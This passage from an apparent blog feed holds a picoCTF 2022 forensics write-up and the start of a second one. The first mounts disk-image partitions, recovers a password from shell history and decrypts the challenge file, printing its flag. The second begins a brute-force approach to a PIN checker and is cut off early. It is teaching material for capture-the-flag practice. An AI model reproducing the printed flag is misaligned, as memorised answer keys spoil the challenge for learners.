&lt;p&gt;Okay at the very least the system recognizes &lt;code&gt;disk.flag.img&lt;&#x2F;code&gt; as a valid image. Let’s try to mount the image to see if we can access the files.&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color-scheme: light dark; color: light-dark(#3C3836, #C5C9C5); background-color: light-dark(#FBF1C7, #181616);&quot;&gt;&lt;code data-lang=&quot;plain&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;$ mkdir .&#x2F;mnt&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;$ sudo mount disk.flag.img .&#x2F;mnt&#x2F;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;mount: &#x2F;home&#x2F;cameron&#x2F;notes&#x2F;ctf&#x2F;picoCTF_2022&#x2F;Forensics&#x2F;OperationOrchid&#x2F;mnt: wrong fs type, bad option, bad superblock on &#x2F;dev&#x2F;loop0, missing codepage or helper program, or other error.&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;Well that didn’t work. It’s important to know that, while the &lt;code&gt;mount&lt;&#x2F;code&gt; command can often automatically detect the filesystem of a device or disk image, it doesn’t automatically detect the offset.&lt;&#x2F;p&gt;
&lt;p&gt;We can get some more information about the image, by viewing the partition table with the &lt;code&gt;mmls&lt;&#x2F;code&gt; command.&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color-scheme: light dark; color: light-dark(#3C3836, #C5C9C5); background-color: light-dark(#FBF1C7, #181616);&quot;&gt;&lt;code data-lang=&quot;plain&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;$ mmls disk.flag.img&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;DOS Partition Table&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;Offset Sector: 0&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;Units are in 512-byte sectors&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;      Slot      Start        End          Length       Description&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;000:  Meta      0000000000   0000000000   0000000001   Primary Table (#0)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;001:  -------   0000000000   0000002047   0000002048   Unallocated&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;002:  000:000   0000002048   0000206847   0000204800   Linux (0x83)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;003:  000:001   0000206848   0000411647   0000204800   Linux Swap &#x2F; Solaris x86 (0x82)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;004:  000:002   0000411648   0000819199   0000407552   Linux (0x83)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;Here we have all the information we need to calculate the offset in bytes.
The &lt;code&gt;mmls&lt;&#x2F;code&gt; output lists each section by a count of sectors. So in this case, we can see the first Linux partition starts at sector &lt;code&gt;2048&lt;&#x2F;code&gt;. To calculate the offset we just need to multiply the number of sectors by the bytes per sector listed above as&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;Units are in 512-byte sectors&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;So, our &lt;strong&gt;offset&lt;&#x2F;strong&gt; = 512 x 2048 = 1048576 bytes. Let’s try to mount the image again with the appropriate offset.&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color-scheme: light dark; color: light-dark(#3C3836, #C5C9C5); background-color: light-dark(#FBF1C7, #181616);&quot;&gt;&lt;code data-lang=&quot;plain&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;$ sudo mount -o offset=1048576 disk.flag.img .&#x2F;mnt&#x2F;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;Nice, we didn’t get any errors this time. Let’s check the &lt;code&gt;.&#x2F;mnt&#x2F;&lt;&#x2F;code&gt; directory&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color-scheme: light dark; color: light-dark(#3C3836, #C5C9C5); background-color: light-dark(#FBF1C7, #181616);&quot;&gt;&lt;code data-lang=&quot;plain&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;$ tree .&#x2F;mnt&#x2F;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;.&#x2F;mnt&#x2F;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;├── boot -&amp;gt; .&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;├── config-virt&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;├── extlinux.conf&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;├── initramfs-virt&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;├── ldlinux.c32&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;├── ldlinux.sys&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;├── libcom32.c32&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;├── libutil.c32&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;├── lost+found [error opening dir]&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;├── mboot.c32&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;├── menu.c32&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;├── System.map-virt&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;├── vesamenu.c32&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;└── vmlinuz-virt&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;2 directories, 12 files&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;Okay, doesn’t look like there is much here. This just seems to be the boot partition.
We can check out the &lt;code&gt;extlinux.conf&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color-scheme: light dark; color: light-dark(#3C3836, #C5C9C5); background-color: light-dark(#FBF1C7, #181616);&quot;&gt;&lt;code data-lang=&quot;plain&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;$ cat extlinux.conf&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;# Generated by update-extlinux 6.04_pre1-r9&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;DEFAULT menu.c32&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;PROMPT 0&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;MENU TITLE Alpine&#x2F;Linux Boot Menu&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;MENU HIDDEN&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;MENU AUTOBOOT Alpine will be booted automatically in # seconds.&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;TIMEOUT 30&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;LABEL virt&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;  MENU LABEL Linux virt&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;  LINUX vmlinuz-virt&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;  INITRD initramfs-virt&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;  APPEND root=UUID=7b688671-b1b5-4e64-830d-36ebc2d4259e modules=sd-mod,usb-storage,ext4 quiet rootfstype=ext4&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;MENU SEPARATOR&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;It looks like this is an Alpine Linux image which is neat but isn’t particularly helpful here. Let’s look at the next partition we saw in the partition table.&lt;&#x2F;p&gt;
&lt;p&gt;The 2nd partition started at sector 206848, but it says it’s a swap partition which is essentially a file that acts as extra memory to keep your system from crashing if it is using too much RAM. We’ll skip this partition for now and look at the last partition which should contain the files for the system this image was pulled from.&lt;&#x2F;p&gt;
&lt;p&gt;The last partition starts at sector 411648, so 512 x 411648 = 210763776 bytes is our new offset. Let’s unmount the first partition and remount with the new offset.&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color-scheme: light dark; color: light-dark(#3C3836, #C5C9C5); background-color: light-dark(#FBF1C7, #181616);&quot;&gt;&lt;code data-lang=&quot;plain&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;$ sudo umount .&#x2F;mnt&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;$ sudo mount -o offset=210763776 disk.flag.img .&#x2F;mnt&#x2F;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;$ tree -L 1 .&#x2F;mnt&#x2F;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;.&#x2F;mnt&#x2F;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;├── bin&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;├── boot&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;├── dev&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;├── etc&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;├── home&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;├── lib&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;├── lost+found&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;├── media&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;├── mnt&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;├── opt&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;├── proc&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;├── root&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;├── run&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;├── sbin&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;├── srv&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;├── swap&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;├── sys&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;├── tmp&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;├── usr&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;└── var&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;Nice, that looks like a standard Linux system to me. Let’s see if we can find that flag.
A good first step is to search for any files with “flag” in the name since this &lt;em&gt;is&lt;&#x2F;em&gt; a CTF after all. We can do that with the &lt;code&gt;find&lt;&#x2F;code&gt; command.&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color-scheme: light dark; color: light-dark(#3C3836, #C5C9C5); background-color: light-dark(#FBF1C7, #181616);&quot;&gt;&lt;code data-lang=&quot;plain&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;$ sudo find .&#x2F;mnt&#x2F; -iname &amp;quot;*flag*&amp;quot;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;.&#x2F;mnt&#x2F;root&#x2F;flag.txt.enc&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;Well that looks promising. Let’s check what kind of file that is.&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color-scheme: light dark; color: light-dark(#3C3836, #C5C9C5); background-color: light-dark(#FBF1C7, #181616);&quot;&gt;&lt;code data-lang=&quot;plain&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;$ sudo file .&#x2F;mnt&#x2F;root&#x2F;flag.txt.enc&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;.&#x2F;mnt&#x2F;root&#x2F;flag.txt.enc: openssl enc&amp;#39;d data with salted password&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;Let’s also check if &lt;code&gt;flag.txt.enc&lt;&#x2F;code&gt; shows up in any logs, scripts or other files on the image.&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color-scheme: light dark; color: light-dark(#3C3836, #C5C9C5); background-color: light-dark(#FBF1C7, #181616);&quot;&gt;&lt;code data-lang=&quot;plain&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;$ sudo grep -r flag.txt.enc .&#x2F;mnt&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;.&#x2F;mnt&#x2F;root&#x2F;.ash_history:openssl aes256 -salt -in flag.txt -out flag.txt.enc -k unbreakablepassword1234567&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;It looks like the &lt;code&gt;openssl&lt;&#x2F;code&gt; command was used to encrypt the &lt;code&gt;flag.txt&lt;&#x2F;code&gt; with a password of &lt;code&gt;unbreakablepassword1234567&lt;&#x2F;code&gt;. The command we saw in &lt;code&gt;&#x2F;mnt&#x2F;root&#x2F;.ash_history&lt;&#x2F;code&gt; uses the &lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;www.openssl.org&#x2F;docs&#x2F;man1.1.1&#x2F;man1&#x2F;enc.html&quot;&gt;&lt;code&gt;openssl-enc&lt;&#x2F;code&gt;&lt;&#x2F;a&gt; function of &lt;code&gt;openssl&lt;&#x2F;code&gt; to encrypt the data. If we look through the man page, we’ll notice that &lt;code&gt;openssl-enc&lt;&#x2F;code&gt; has an option for decryption.&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color-scheme: light dark; color: light-dark(#3C3836, #C5C9C5); background-color: light-dark(#FBF1C7, #181616);&quot;&gt;&lt;code data-lang=&quot;plain&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;-e  Encrypt the input data: this is the default.&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;-d  Decrypt the input data.&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;Let’s try decrypting &lt;code&gt;flag.txt.enc&lt;&#x2F;code&gt; with the password we found.&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color-scheme: light dark; color: light-dark(#3C3836, #C5C9C5); background-color: light-dark(#FBF1C7, #181616);&quot;&gt;&lt;code data-lang=&quot;plain&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;$ openssl aes256 -d -salt -in flag.txt.enc -out flag.txt -k unbreakablepassword1234567&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;*** WARNING : deprecated key derivation used.&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;Using -iter or -pbkdf2 would be better.&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;bad decrypt&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;140027284948288:error:06065064:digital envelope routines:EVP_DecryptFinal_ex:bad decrypt:..&#x2F;crypto&#x2F;evp&#x2F;evp_enc.c:610:&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;We got some warnings, but it looks like the command still output a decrypted file &lt;code&gt;flag.txt&lt;&#x2F;code&gt;. Let’s see what it says.&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color-scheme: light dark; color: light-dark(#3C3836, #C5C9C5); background-color: light-dark(#FBF1C7, #181616);&quot;&gt;&lt;code data-lang=&quot;plain&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;$ cat flag.txt&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;picoCTF{h4un71ng_p457_5113beab}&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;And there’s our flag.&lt;&#x2F;p&gt;
&lt;blockquote class=&quot;markdown-alert-note&quot;&gt;
&lt;p&gt;Don’t forget to unmount the image once you’re done!&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color-scheme: light dark; color: light-dark(#3C3836, #C5C9C5); background-color: light-dark(#FBF1C7, #181616);&quot;&gt;&lt;code data-lang=&quot;plain&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;$ sudo umount .&#x2F;mnt&#x2F;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;</description>
      </item>
      <item>
          <title>PicoCTF 2022 - SideChannel</title>
          <pubDate>Sun, 29 May 2022 00:00:00 +0000</pubDate>
          <author>Cameron Blankenbuehler</author>
          <link>https://www.cblanken.dev/blog/sidechannel/</link>
          <guid>https://www.cblanken.dev/blog/sidechannel/</guid>
          <description xml:base="https://www.cblanken.dev/blog/sidechannel/">&lt;p&gt;The name itself “SideChannel” seems to indicate a &lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;en.wikipedia.org&#x2F;wiki&#x2F;Side-channel_attack&quot;&gt;side-channel attack&lt;&#x2F;a&gt;, so we should keep that in mind going forward.&lt;&#x2F;p&gt;
&lt;p&gt;To start, we’re given a short description.&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;There’s something fishy about this PIN-code checker, can you figure out the PIN and get the flag?&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;We’re then offered a download for a program called &lt;code&gt;pin_checker&lt;&#x2F;code&gt;.
Running the &lt;code&gt;pin_checker&lt;&#x2F;code&gt; binary will give us the following output:&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color-scheme: light dark; color: light-dark(#3C3836, #C5C9C5); background-color: light-dark(#FBF1C7, #181616);&quot;&gt;&lt;code data-lang=&quot;plain&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;$ .&#x2F;pin_checker&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;Please enter your 8-digit PIN code:&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;Let’s try entering a PIN&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color-scheme: light dark; color: light-dark(#3C3836, #C5C9C5); background-color: light-dark(#FBF1C7, #181616);&quot;&gt;&lt;code data-lang=&quot;plain&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;$ .&#x2F;pin_checker&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;Please enter your 8-digit PIN code:&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;00000000&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;8&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;Checking PIN...&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;Access denied.&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;Okay, so it looks like a classic PIN entry. The program will tell us if we’ve found the correct PIN. It also requires an 8-digit PIN as you might expect. Anything longer or shorter will give an error. For example:&lt;&#x2F;p&gt;
&lt;p&gt;Short PIN&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color-scheme: light dark; color: light-dark(#3C3836, #C5C9C5); background-color: light-dark(#FBF1C7, #181616);&quot;&gt;&lt;code data-lang=&quot;plain&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;$ .&#x2F;pin_checker&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;Please enter your 8-digit PIN code:&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;12345&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;5&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;Incorrect length.&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;Long PIN&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color-scheme: light dark; color: light-dark(#3C3836, #C5C9C5); background-color: light-dark(#FBF1C7, #181616);&quot;&gt;&lt;code data-lang=&quot;plain&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;$ .&#x2F;pin_checker&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;Please enter your 8-digit PIN code:&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;123456789&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;9&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;Incorrect length.&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;&lt;h3 id=&quot;brute-force&quot;&gt;&lt;a class=&quot;zola-anchor&quot; href=&quot;#brute-force&quot; aria-label=&quot;Anchor link for: brute-force&quot;&gt;Brute-force&lt;&#x2F;a&gt;&lt;&#x2F;h3&gt;
&lt;p&gt;At this point, I decided to try a simple brute-force attack on the PIN, just to see if it was feasible, so I wrote a python script to do just that.&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color-scheme: light dark; color: light-dark(#3C3836, #C5C9C5); background-color: light-dark(#FBF1C7, #181616);&quot;&gt;&lt;code data-lang=&quot;python&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span aria-hidden=&quot;true&quot; class=&quot;giallo-ln&quot; style=&quot;color: light-dark(#BDAE93, #625E5A);&quot;&gt; 1&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#928374, #737C73);font-style: italic;&quot;&gt;#&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#928374, #737C73);font-style: italic;&quot;&gt; pins.py&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span aria-hidden=&quot;true&quot; class=&quot;giallo-ln&quot; style=&quot;color: light-dark(#BDAE93, #625E5A);&quot;&gt; 2&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#9D0006, #B6927B);&quot;&gt;import&lt;&#x2F;span&gt;&lt;span&gt; sys&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span aria-hidden=&quot;true&quot; class=&quot;giallo-ln&quot; style=&quot;color: light-dark(#BDAE93, #625E5A);&quot;&gt; 3&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#9D0006, #B6927B);&quot;&gt;from&lt;&#x2F;span&gt;&lt;span&gt; subprocess&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#9D0006, #B6927B);&quot;&gt; import&lt;&#x2F;span&gt;&lt;span&gt; Popen&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #9E9B93);&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#8F3F71, #C5C9C5);font-weight: bold;&quot;&gt; PIPE&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span aria-hidden=&quot;true&quot; class=&quot;giallo-ln&quot; style=&quot;color: light-dark(#BDAE93, #625E5A);&quot;&gt; 4&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
